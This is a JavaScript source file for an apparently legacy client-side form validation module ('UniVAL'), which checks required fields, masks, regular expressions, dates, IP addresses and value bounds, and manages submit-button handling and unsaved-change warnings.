//Javascript UniVAL Module

if (typeof KT_FVO == 'undefined') {
	KT_FVO = {};
	KT_FVO_properties = {
		noTriggers: 0,
		noTransactions: 0
	}
}
//configuration variables
$UNI_GLOBALVARNAME = 'KT_FVO';
$UNI_GLOBALVARNAME_MESSAGES = 'UNI_Messages';

$UNI_ATTRNAME_ERRORMESSAGE = 'errormessage';
$UNI_DEFAULTERRORMESSAGE = 'The field \'%s\' has an invalid value !';
$UNI_FORM_SUBMIT_PRIORITY = 10;

$UNI_CLASSNAME_ERROR_LABEL = 'form_validation_field_error_label';
$UNI_CLASSNAME_ERROR_CONTAINER = 'form_validation_field_error_container';
$UNI_CLASSNAME_ERROR_ELEMENT = 'form_validation_field_error_text';
$UNI_CLASSNAME_ERROR_ERROR_ELEMENT = 'form_validation_field_error_error_message';
$UNI_CLASSNAME_ERROR_SS = 'KT_field_error';
$UNI_CLASSNAME_ERROR_FORM = 'form_validation_form_error';

$UNI_DELETE_BUTTON_NAME = /delete/i;
$UNI_INSERT_BUTTON_NAME = /insert/i;
$UNI_UPDATE_BUTTON_NAME = /update/i;
$UNI_CANCEL_BUTTON_NAME = /cancel/i;
$UNI_LOGIN_BUTTON_NAME = /login/i;

/*
Recognized date time masks:
Date
	m/d/yy
	d/m/yy
	d.m.yy
	mm/dd/yyyy
	dd/mm/yyyy
	dd.mm.yyyy
	yyyy-mm-dd
Time 
	h:ii:ss t
	HH:ii:ss
	H:ii:ss
	hh:ii:ss tt
*/

function UNI_isktml(el) {
	var is_ktml = false;
	if (typeof el.name != 'undefined') {
		if (typeof ktmls != 'undefined' && ktmls != null && ktmls.length) {
			var is_ktml = false;
			Array_each(ktmls, function(ktml) {
				if (ktml.name == el.name) {
					is_ktml = ktml;
				}
			});
		}
	}
	return is_ktml;
}

function UNI_date2regexp(txt) {
	return utility.date.date2regexp(txt);
}

function UNI_mask2regexp(txt) {
	txt = txt.replace(/([-\/\[\]()\*\+])/g, '\\$1');
	txt = txt.replace(/9/g, '\\d');
	txt = txt.replace(/\?/g, '.');
	txt = txt.replace(/X/g, '\\w');
	txt = txt.replace(/A/g, '[A-Za-z]');
	var re = new RegExp('^' + txt + '$');
	return re;
}

function UNI_regexp2regexp(txt) {
	var sep = txt.substring(0, 1);
	var pos = txt.lastIndexOf(sep);

	var reg = txt.substring(1, pos);
	var mods = '';
	if (pos+1 <= txt.length-1) {
		var mods = txt.substring(pos+1, txt.length);
	}
	var re = new RegExp(reg, mods);
	return re;
}

function UNI_init_error_elements(el) {
	var ret = {};
	var el_name = el.name;

	var allLabels = document.getElementsByTagName("LABEL");
	for(var i=0; i < allLabels.length; i++) {
		if (allLabels[i].htmlFor == el.id) {
			ret['label'] = allLabels[i];
			break;
		}
	}
	var is_widget = el.getAttribute("wdg:type")!=null;

	if (is_widget) {
		var zel = el;
		while(zel) {
			if(typeof(zel.className) != "undefined" && zel.className.indexOf("widget_container")>=0) {
				break;
			}
			zel = zel.parentNode;
		}
		if (zel) {
			el = zel;
		}
	}

	ret['container'] = el.parentNode;
	while(ret['container'].nodeType != 1) {
		ret['container'] = ret['container'].parentNode;
	}

	var dv = document.getElementById(el_name + '_error_element');
	if (dv != null) {
		ret['error_element'] = dv;
	} else {
		ret['error_element'] = utility.dom.createElement("DIV", {
			'id': el_name + '_error_element'
		});
		var server_side = utility.dom.getElementsByClassName(el.parentNode, $UNI_CLASSNAME_ERROR_SS);
		if (server_side.length > 0) {
			el.parentNode.removeChild(server_side[0]);
		}
		var spn = utility.dom.getElementsByClassName(el.parentNode, 'KT_field_hint')[0];
		if (typeof spn == 'undefined') {
			spn = el;
			if (el.type) {
				if (el.type.toString().toLowerCase() == 'radio') {
					try {
						spn = el.parentNode;
					} catch(e) { spn = el; }
				}
			}
		}
		//find the last element in the container element to insert the error_element after (it should be the last)
		while (spn.nextSibling) {
			spn = spn.nextSibling;
		}
		ret['error_element'] = utility.dom.insertAfter(ret['error_element'], spn);
	}

	return ret;
}

function UNI_fieldok_action(el, props) {
	var errorElements = UNI_init_error_elements(el);
	try {
		utility.dom.classNameRemove(errorElements['label'], $UNI_CLASSNAME_ERROR_LABEL); 
		utility.dom.classNameRemove(errorElements['container'], $UNI_CLASSNAME_ERROR_CONTAINER); 
		utility.dom.classNameRemove(el, $UNI_CLASSNAME_ERROR_ELEMENT); 
		errorElements['error_element'].parentNode.removeChild(errorElements['error_element']);
	} catch(e) { }
	errorElements = undefined;
}

function UNI_required_action(el, props) {
	var errorElements = UNI_init_error_elements(el);
	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : the required message has ONE %s : the element name
		errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]["required"], el.name);
	}

	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_format_action(el, props) {
	var errorElements = UNI_init_error_elements(el);

	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : the format message has ONE %s : the format name
		//TODO : we only get the interned format name, but we should have the screen format name
		var mesg1 = window[$UNI_GLOBALVARNAME_MESSAGES][props['type'] + '_' + props['format'] ];
		var mesg2 = window[$UNI_GLOBALVARNAME_MESSAGES][props['type'] + '_'];
		if (typeof mesg1 != 'undefined') {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], mesg1);
		} else if (typeof mesg2 != 'undefined') {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], mesg2);;
		} else {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], props['format']);
		}
	}
		
	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_boundary_action(el, props, test_min, test_max) {
	sprintf = utility.string.sprintf;
	var errorElements =  UNI_init_error_elements(el);

	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var prefix = (props['type'] == 'text') ? 'text' : 'other';
	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : we only get the interned format name, but we should have the screen format name
		if (test_min != null && test_max != null) {
			errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_between'], props['min'], props['max']);
		} else {
			if (test_min != null) {
				errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_min'], props['min']);
			} else {
				errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_max'], props['max']);
			}
		}
	}

	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_validateRegExp(el, props) {
	var toret = true;
	var re = UNI_regexp2regexp(props['additional_params']);
	if (!re.exec(el.value)) {
		toret = false;
	}
	return toret;
}

function UNI_validateMask(el, props) {
	var toret = true;
	var re =  UNI_mask2regexp(props['additional_params']);
	if (!re.exec(el.value)) {
		toret = false;
	}
	return toret;
}

function UNI_parse_date(arr, dateMask) {
	return utility.date.parse_date(arr, dateMask);
}


function UNI_dateBuilder(year, month, day, hour, minutes, seconds) {
	var month_length = [31,28,31,30,31,30,31,31,30,31,30,31];
	if (! (parseInt(year) > 0)) { return false; }
	if (! (parseInt(month) > 0 && parseInt(month) <= 12)) { return false; }
	if ((
			(parseInt(year) % 4 == 0) 
			&& 
			(parseInt(year) % 100 != 0)
		) 
		|| 
			(parseInt(year) % 400 == 0)
		) {
			month_length[1] = 29;
	}
	if (! (parseInt(day) > 0 && parseInt(day) <= month_length[parseInt(month)-1])) { return false; }

	month_length[1] = 28;
	if (! (parseInt(hour) >= 0 && parseInt(hour) <= 23)) { return false; }
	if (! (parseInt(minutes) >= 0 && parseInt(minutes) <= 59)) { return false; }
	if (! (parseInt(seconds) >= 0 && parseInt(seconds) <= 59)) { return false; }

	year = utility.math.zeroPad(year, 4);
	month = utility.math.zeroPad(month, 2);
	day = utility.math.zeroPad(day, 2);
	hour = utility.math.zeroPad(hour, 2);
	minutes = utility.math.zeroPad(minutes, 2);
	seconds = utility.math.zeroPad(seconds, 2);

	return year + month + day + hour + minutes + seconds;
}

function UNI_validateDate(el, props) {
	var toret = true;
	var dateMask = props['additional_params'];
	var re = utility.date.date2regexp(dateMask);
	var arr = re.exec(el.value);
	if (!arr) {
		toret = false;
	} else {
		var o = utility.date.parse_date(arr, dateMask);
		var newDate = UNI_dateBuilder(o['year'], o['month'], o['day'], o['hour'], o['minutes'], o['seconds']);
		if (newDate == false) {
			toret = false;
		}
	}

	return toret;
}

function UNI_validate_required(el, props) {
	var toret = true;
	if (el.type.toString().toLowerCase() == 'radio') {
		var arr = [];
		Array_each(el.form.elements, function(el2, i2) {
			if (el2.name == el.name) {
				Array_push(arr, el2);
			}
		});
		toret = false;
		Array_each(arr, function(el, i) {
			if (el.checked) {
				toret = true;
			}
		});
		if (!toret) {
			UNI_required_action(el, props);
		}
	} else if (
		el.value == '' ||
		el.value.match(/^<br[^>]*>$/gi) ||
		el.value.match(/^<p[^>]*>(&nbsp;|)<\/p>$/gi) ||
		el.value.match(/^<div[^>]*>(&nbsp;|)<\/div>$/gi) ||
		el.value.match(/^<span[^>]*>(&nbsp;|)<\/span>$/gi) ||
		(el.type.toLowerCase() == 'checkbox' && el.checked == false)
		) {
		UNI_required_action(el, props);
		toret = false;
	}
	return toret;
}

function UNI_validate_generic(el, props) {
	var toret = true;
	if (el.value != '') {
		if (props['additional_params'] != '') {
			var is_a_regexp =/^([^0-9A-Za-z]).*\1[gism]*$/;
			if (props['additional_params'].match(is_a_regexp)) {
				var validator = UNI_validateRegExp;
			} else {
				var validator = UNI_validateMask;
			}
			if (!validator(el, props)) {
				UNI_format_action(el, props);
				toret = false;
			}	
		}

	}
	return toret;
}

function UNI_validate_format_regexp(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateRegExp(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_mask(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateMask(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_date(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateDate(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_text_ip(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateRegExp(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		} else {
			Array_each(el.value.toString().split('.'), function(match) {
				if (parseInt(match) > 255) {
					UNI_format_action(el, props);
					toret = false;
					return;
				}
			});
		}
	}
	return toret;
}

function UNI_validate_minmax(el, props) {
	var toret = true, test_max = true, test_min = true;
	if (el.value != '') {
		if (props['min'] != '') {
			test_min = el.value >= props['min'];
			toret = toret && test_min;
		}
		if (props['max'] != '') {
			test_max = el.value <= props['max'];
			toret = toret && test_max;		
		}
		if (! (test_max && test_min)) {
			UNI_boundary_action(el, props, test_min, test_max);
		}
	}
	return toret;
}

function UNI_validate_minmax_text(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (el.value.length >= parseInt(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (el.value.length <= parseInt(props['max']));
		toret = toret && test_max;
	}

	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}

function UNI_validate_minmax_numeric(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (parseFloat(el.value) >= parseFloat(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (parseFloat(el.value) <= parseFloat(props['max']));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}
function UNI_validate_minmax_double(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (parseFloat(el.value) >= parseFloat(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (parseFloat(el.value) <= parseFloat(props['max']));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}


function UNI_validate_minmax_date(el, props) {
	var toret = true, test_max = null, test_min = null;

	var dateMask = props['additional_params'];
	var re = utility.date.date2regexp(dateMask);
	var arr = re.exec(el.value);
	var date1 = utility.date.parse_date(arr, dateMask);
	date1 = UNI_dateBuilder(date1['year'], date1['month'], date1['day'], date1['hour'], date1['minutes'], date1['seconds']);
	if (props['min'] != '') {
		var arr = re.exec(props['min']);
		var date_min = utility.date.parse_date(arr, dateMask);
		var date_min = UNI_dateBuilder(date_min['year'], date_min['month'], date_min['day'], date_min['hour'], date_min['minutes'], date_min['seconds']);
		var test_min = (parseInt(date1) >= parseInt(date_min));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var arr = re.exec(props['max']);
		var date_max = utility.date.parse_date(arr, dateMask);
		var date_max = UNI_dateBuilder(date_max['year'], date_max['month'], date_max['day'], date_max['hour'], date_max['minutes'], date_max['seconds']);
		
		var test_max = (parseInt(date1) <= parseInt(date_max));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}

//Attaches itself to the form submit buttons and sets checking = on/off, depending on the button name
//TODO : redo insert / update / delete logic ??? 
function UNI_buttonHandler(e) {
	var o = utility.dom.setEventVars(e);
	if (o.targ.name.match($UNI_DELETE_BUTTON_NAME) 
		||o.targ.name.match($UNI_INSERT_BUTTON_NAME) 
		||o.targ.name.match($UNI_UPDATE_BUTTON_NAME) 
		||o.targ.name.match($UNI_LOGIN_BUTTON_NAME) 
		||(typeof o.targ.tagName != 'undefined' && o.targ.type.toLowerCase() == 'submit')) {
		o.targ.form.removeAttribute('haschanged');
	}
	if (o.targ.name.match($UNI_DELETE_BUTTON_NAME) || o.targ.name.match($UNI_CANCEL_BUTTON_NAME)) {
		o.targ.form.setAttribute('donotcheck', '1');
		window.UNI_buttonpressed = o.targ.name;
	} else if((o.targ.name.match($UNI_INSERT_BUTTON_NAME) || o.targ.name.match($UNI_UPDATE_BUTTON_NAME))) {
		o.targ.form.setAttribute('donotcheck', '0');
		window.UNI_buttonpressed = o.targ.name;
	} else {
		o.targ.form.setAttribute('donotcheck', '0');
		window.UNI_buttonpressed = o.targ.name;
	}

}

function UNI_navigateCancel(event, str) {
	var o = utility.dom.setEventVars(event);
	if (o.targ.form.getAttribute('haschanged') != null) {
		if (confirm(UNI_Messages['form_was_modified'])) {
			o.targ.form.removeAttribute('haschanged');
			var loc = str;
			try {
				if (!loc.match(/\w+:\/\//)) {
					loc = document.getElementsByTagName('base')[0].href.toString() + loc;
				}
			} catch(e) { loc = str };
			window.location.href = loc;
			return true;
		} else {
			utility.dom.stopEvent(o.e);
			return false;
		}
	} else {
		var loc = str;
		try {
			if (!loc.match(/\w+:\/\//)) {
				loc = document.getElementsByTagName('base')[0].href.toString() + loc;
			}
		} catch(e) { loc = str };
		window.location.href = loc;
		return true;
	}
}
var UNI_navigateAway_locked = false;
function UNI_navigateAway(e) {
	if (UNI_navigateAway_locked) {
		UNI_navigateAway_locked = false;
	} else {
		var frms = document.forms;
		var toret = false;
		for ( var i = 0; i < frms.length; i++) {
			var frm = frms[i];
			if (frm.getAttribute('haschanged') != null) {
				toret = true;
			}
		}
		if (toret == true) {
			return UNI_Messages['form_was_modified'];
		}
	}
}

//attach events to form submittal buttons
//TODO : redo insert / update / delete logic ??? 
function UNI_attachToButtons() {
	if (is.ie && is.mac) {
		return;
	}
	var frms = document.getElementsByTagName('form');
	for (var i = 0; i < frms.length; i++) {
		var frm = frms[i];
		for (var j = 0; frm.elements.length; j++) {
			var el = frm.elements[j];
			if (el != null) {
				if (el.name) {
					var attached = false;
					if (el.name.toString().match($UNI_DELETE_BUTTON_NAME) 
					 || el.name.toString().match($UNI_CANCEL_BUTTON_NAME)
					 ) {
						attached = true;
						utility.dom.attachEvent(el, is.safari?'mousedown':'focus', UNI_buttonHandler, 0);
					}
					if (el.name.toString().match($UNI_INSERT_BUTTON_NAME)
					 || el.name.toString().match($UNI_UPDATE_BUTTON_NAME)
					 ) {
						attached = true;
						utility.dom.attachEvent(el, is.safari?'mousedown':'focus', UNI_buttonHandler, 1);
					}
					if (el.type.toLowerCase() == 'submit' && !attached) {
						utility.dom.attachEvent(el, is.safari?'mousedown':'focus', UNI_buttonHandler, 0);
					}
				}
			} else {
				break;
			}
		}
	}
}

//attach to all the forms in the page, called on "onload"
function UNI_attachToForm() {
	GLOBAL_registerFormSubmitEventHandler('UNI_formSubmittalHandler', $UNI_FORM_SUBMIT_PRIORITY);
	if (is.windows && is.ie) {
		GLOBAL_registerFormSubmitEventHandler('UNI_enableButtonsIEBug', $UNI_FORM_SUBMIT_PRIORITY+1);
	}
	UNI_attachToButtons();
}


function UNI_attachEmptyProps(props) {
	Array_each(['colname', 'required', 'type', 'format', 'additional_params', 'min', 'max', 'errorMessage'], 
		function(prop_name) {
		if (typeof props[prop_name] == 'undefined') {
			props[prop_name] = '';
		}
	});	
	return props;
}

// for the moment : error 0 : no error, error 1 : required, error 2 : illegal value
function UNI_workOnElement(el) {
	var toret = true;

	if (el && el.type && el.type.toLowerCase() == 'hidden') {
		if (!UNI_isktml(el)) {
			return true;
		}
	}
	if (typeof window[$UNI_GLOBALVARNAME] == 'undefined') {
		return true;
	}
	
	var elname = el.name;
	if (!window[$UNI_GLOBALVARNAME][el.name]) {
		elname = elname.replace(/_\d+$/, '');
	}
	var props = UNI_attachEmptyProps(window[$UNI_GLOBALVARNAME][elname]);

	// Validation Step 1 : REQUIRED
	if (props['required']) {
		toret = toret && UNI_validate_required(el, props);
	}
	if (!toret) {
		return toret;
	}

	// Validation Step 2 : FORMAT UNI_validate_[type]_format
	//UNI_validate_text_ip, UNI_validate_text_cc_generic
		//if they don't exist, try to exec UNI_validate_text
			//if they don't exist, try to exec UNI_validate_generic
	if (props['format'] != '' || props['type'] == 'mask' || props['type'] == 'regexp') {
		var functor_specific = window['UNI_validate_format_' + props['type'] + '_' + props['format']];
		var functor_type = window['UNI_validate_format_' + props['type']];
		var functor_generic = UNI_validate_generic;
		if (typeof functor_specific == 'function') {
			toret = toret && functor_specific(el, props);
		} else if (typeof functor_type == 'function') {
			toret = toret && functor_type(el, props);
		} else {
			toret = toret && functor_generic(el, props);
		}
	}
	if (!toret) {
		return toret;
	}
	//Validation Step 3 : min, max
	if (el.value != '') {
		if (props['min'] != '' || props['max'] != '') {
			var functor_specific = window['UNI_validate_minmax_' + props['type']];
			var functor_generic = UNI_validate_minmax;
			if (typeof functor_specific == 'function') {
				toret = toret && functor_specific(el, props);
			} else if (typeof functor_generic == 'function') {
				toret = toret && functor_generic(el, props);
			}
		}
	}
	if (!toret) {
		return toret;
	}

	//Validation Step 4 : delete errors from old fields that have them
	if (toret == true) {
		UNI_fieldok_action(el, props);
	}
	return toret;
}

function UNI_disableButtons(frm, regexp, flag) {
	Array_each(frm.getElementsByTagName('input'), function(button, i) {
		if (button.type && Array_indexOf(['submit', 'button'], button.type.toLowerCase()) >= 0) {
			if (button.className == 'mxw_v' || button.className == 'mxw_add') {
				return true;
			}
			if (button.name.match(regexp)) {
				button.disabled = flag;
			}
		}
	});
}

//what to do when form is submitted
function UNI_formSubmittalHandler(e) {
	if (is.ie && is.mac) {
		return true;
	}

	focus_happened = false;
	var o = utility.dom.setEventVars(e);
	var frm = o.targ;
	frm = utility.dom.getParentByTagName(frm, 'form');
	var returnHandler = true;

	frm.removeAttribute('haschanged');

	//this code "gets" the depressed button in the form, 
	//or finds it, if the enter key has been pressed (no button defined)
	if (typeof window.UNI_buttonpressed != 'undefined') {
		var button_regexp = window.UNI_buttonpressed;
	} else {
		var form_buttons = [];
		Array_each(frm.getElementsByTagName('input'), function(button, i) {
		if (button.type && (
			button.type.toLowerCase() == 'submit' || 
			button.type.toLowerCase() == 'button' 
			)) {
				Array_push(form_buttons, button);
			}
		});
		if (form_buttons.length == 1) {
			var button_regexp = form_buttons[0].name;
		} else {
			var update = false;
			var insert = false;
			var login = false;
			for (var i = 0; i < form_buttons.length; i++) {
				var button = form_buttons[i];
				if (button.name.toString().match($UNI_UPDATE_BUTTON_NAME)) {
					update = true;
				}
				if (button.name.toString().match($UNI_INSERT_BUTTON_NAME)) {
					insert = true;
				}
				if (button.name.toString().match($UNI_LOGIN_BUTTON_NAME)) {
					login = true;
				}
			}
			if (update) {
				var button_regexp = $UNI_UPDATE_BUTTON_NAME;
			} else {
				if (insert) {
					var button_regexp = $UNI_INSERT_BUTTON_NAME;
				} else {
					if (login) {
						var button_regexp = $UNI_LOGIN_BUTTON_NAME;
					}
				}
			}
		}
	}
	//
	Array_each(frm.getElementsByTagName('input'), function(button, i) {
		if (button.type && (
			button.type.toLowerCase() == 'submit' || 
			button.type.toLowerCase() == 'button' 
			)) {
			if (button.className == 'mxw_v' || button.className == 'mxw_add') {
				return true;
			}
			if (button.name.match(button_regexp)) {
				var hd = utility.dom.createElement('input', {
					'type' : 'hidden', 
					'name': button.name, 
					'value': button.value
				});
				hd = frm.appendChild(hd);
			}
		}
	});

	if (frm.getAttribute('donotcheck') == '1') {
		return true;
	}

	var is_update_form = true;
	Array_each(utility.dom.getElementsByTagName(document, 'input'), function(input) {
		if (typeof input.type != 'undefined' && typeof input.name != 'undefined') {
			if (input.type.toLowerCase() == 'hidden' && input.name.toString().match(/^kt_pk/)) {
				if (input.value && input.value == 'KT_NEW') {
					is_update_form = false;
				}
			}
			
		}
	});

	var arr = frm.elements;
	var already_checked = [];
	Array_each(arr, function(el, i) {
		if (Array_indexOf(already_checked, el) >= 0) {
			return;
		}
		if (typeof el.tagName != 'undefined' && el.tagName.toLowerCase() == 'fieldset') {
			return;
		}

		if (el.type.toString().toLowerCase() == 'radio') {
			Array_each(frm.elements, function(el2, i2) {
				if (el2.name == el.name) {
					Array_push(already_checked, el2);
				}
			});
		}
		var tagname = el.tagName;
		var elname = el.name;
		if (!elname) return;
		if (typeof window[$UNI_GLOBALVARNAME] != 'undefined' && typeof window[$UNI_GLOBALVARNAME][elname] == 'undefined') {
			if (!is_update_form) {
				elname = elname.replace(/_1$/, '');
			} else {
				elname = elname.replace(/_\d+$/, '');
			}
		}
		if (typeof window[$UNI_GLOBALVARNAME] != 'undefined' && typeof window[$UNI_GLOBALVARNAME][elname] != 'undefined') {
			var tmp = UNI_workOnElement(el);
			if (!tmp) {
				if (!focus_happened) {
					try { el.focus(); focus_happened = true;} catch(e) { focus_happened = false; }
				}
			}
			returnHandler = returnHandler && tmp;
		}
	});

	if (!returnHandler) {
		frm.setAttribute('fvo_error', '1');
		button_regexp = '';
		if (Array_indexOf(utility.dom.getClassNames(frm), 'KT_tngformerror') >= 0) {
			utility.dom.classNameAdd(frm, $UNI_CLASSNAME_ERROR_FORM);
		}
		return false;
	}

	try {
		utility.dom.classNameRemove(frm, $UNI_CLASSNAME_ERROR_FORM);
	} catch(e) { }

	return returnHandler;
}

function UNI_enableButtonsIEBug(e) {
	var o = utility.dom.setEventVars(e);
	var frm = o.targ;
	frm = utility.dom.getParentByTagName(frm, 'form');
	var regexps = [/[a-z]:\\.*$/i, /\\\\.*$/i];
	var invalid_file = true;
	Array_each(frm.getElementsByTagName('input'), function(el) {
		if (el.type) {
			if (el.type.toLowerCase() == 'file') {
				var flag = false;
				for (var i = 0; i < regexps.length; i++) {
					if (el.value.match(regexps[i])) {
						flag = true;
					}
				}
				invalid_file = invalid_file && flag;
			}
		}
	});
	if (!invalid_file) {
		UNI_disableButtons(frm, /.*/, false);	
	}
	return true;
}

function UNI_handle_required(form_label) {
	var htmlFor = form_label.htmlFor;
	var focus_happened = false;
	if (htmlFor) {
		var el = document.getElementById(htmlFor);
		if (typeof el != 'undefined' && el != null && typeof window[$UNI_GLOBALVARNAME] != 'undefined') {
			if (typeof el.name == 'undefined' || el.name == null) {
				return;
			}
			var elname = el.name;

			if (!window[$UNI_GLOBALVARNAME][el.name]) {
				elname = elname.replace(/_\d+$/, '');
			}
			var validate_object = window[$UNI_GLOBALVARNAME][elname];
			var ignore_this = false;
			if (el.type.toLowerCase() == 'radio') {
				if (form_label && form_label.parentNode && 
					el && el.parentNode && 
					form_label.parentNode == el.parentNode) {
					var ignore_this = true;
				}
			}
			if (
				typeof validate_object != 'undefined' && 
				typeof validate_object.required != 'undefined' && 
				validate_object.required && 
				!ignore_this
			) {
				var txt = utility.dom.createElement("SPAN", {className: 'KT_required'});
				txt.innerHTML = "*";
				form_label.appendChild(txt);
			}
			var server_side = utility.dom.getElementsByClassName(el.parentNode, $UNI_CLASSNAME_ERROR_SS);
			if (server_side.length > 0 && !focus_happened) {
				try {
					el.focus();
				} catch(e) { }
				focus_happened = true;
				//login form
				if (Array_indexOf(utility.dom.getClassNames(el.form), 'KT_tngformerror') >= 0) {
					//this is a login form
					utility.dom.classNameAdd(el.form, $UNI_CLASSNAME_ERROR_FORM);
				}
			}
		}
	}
}

function UNI_handle_changed(form_label) {
	var htmlFor = form_label.htmlFor;
	var focus_happened = false;
	if (htmlFor) {
		var el = document.getElementById(htmlFor);
		if (typeof el != 'undefined' && el != null) {
			if (typeof el.name == 'undefined' || el.name == null) {
				return;
			}

			var elname = el.name;
			var ignore_this = false;
			if (el.type.toLowerCase() == 'radio') {
				if (form_label && form_label.parentNode && 
					el && el.parentNode && 
					form_label.parentNode == el.parentNode) {
					var ignore_this = true;
				}
			}
			if (!ignore_this) {
				utility.dom.attachEvent(el, 'change', function(e) {
					try {
						var form = utility.dom.getParentByTagName(this, 'form');
						form.setAttribute('haschanged', '1');
					} catch(e) { }
				});
			}
		}
	}
}

function UNI_form_attach() {
	var tmp, has_update = false;
	var div = utility.dom.getElementsByClassName(document, 'KT_tng', 'div');
	var start_el = null;
	if (div.length == 1) {
		start_el = div[0];
	} else {
		start_el = utility.dom.getElementsByClassName(document, 'KT_tngtable', 'table')[0];
	}
	if (typeof start_el != 'undefined') {
	Array_each(start_el.getElementsByTagName('input'), function(button, i) {
		if (button.type && Array_indexOf(['submit', 'button'], button.type.toLowerCase()) >= 0) {
			if (button.className == 'mxw_v' || button.className == 'mxw_add') { return; }
			if (button.name.match($UNI_UPDATE_BUTTON_NAME)) { has_update = true; }
		}
	});
	if (has_update) {
		var forms = document.getElementsByTagName('form');
		if (typeof KT_FVO_properties != 'undefined' && typeof KT_FVO_properties['noTriggers'] && typeof KT_FVO_properties['noTransactions'] != 'undefined') {
			var noTriggers = parseInt(KT_FVO_properties['noTriggers'], 10);
			var noTransactions = parseInt(KT_FVO_properties['noTransactions'], 10);
			if (noTriggers == 1 && noTransactions > 1) {
				for (i in KT_FVO) {
					var re = new RegExp('^' + i, 'g');
					Array_each(forms, function(form) {
						Array_each(form.elements, function(el) {
							if (el && el.name && el.name.match(re)) {
								if (el.tagName.toLowerCase() == 'input' && el.type) {
									if (Array_indexOf(['file', 'password'], el.type.toLowerCase())>= 0) {
										KT_FVO[i]['required'] = false;
									}
								}
							}
						});
					});
				}
			}
		}
	}
	}

	try {
		if (typeof KT_FVO['kt_login_user']!='undefined') {
			var user_name_ctrl = document.getElementById("kt_login_user");
			if (user_name_ctrl) {
				user_name_ctrl.focus();
			}
		}
	} catch(err) {}

	Array_each(utility.dom.getElementsByClassName(document, 'KT_tngtable', 'TABLE'), function(table, table_index){
		// add classes to containers
		Array_each(utility.dom.getElementsByTagName(table, 'label'), function(form_label) {
			UNI_handle_required(form_label);
			UNI_handle_changed(form_label);
		});
	});
	window["UNI_uniqueid"] = new UIDGenerator();
	UNI_attachToForm();
}

if (typeof UNI_form_attach_executed == 'undefined') {
	utility.dom.attachEvent2(window, 'onload', UNI_form_attach);
	UNI_form_attach_executed = true;
}

window.onbeforeunload = UNI_navigateAway;


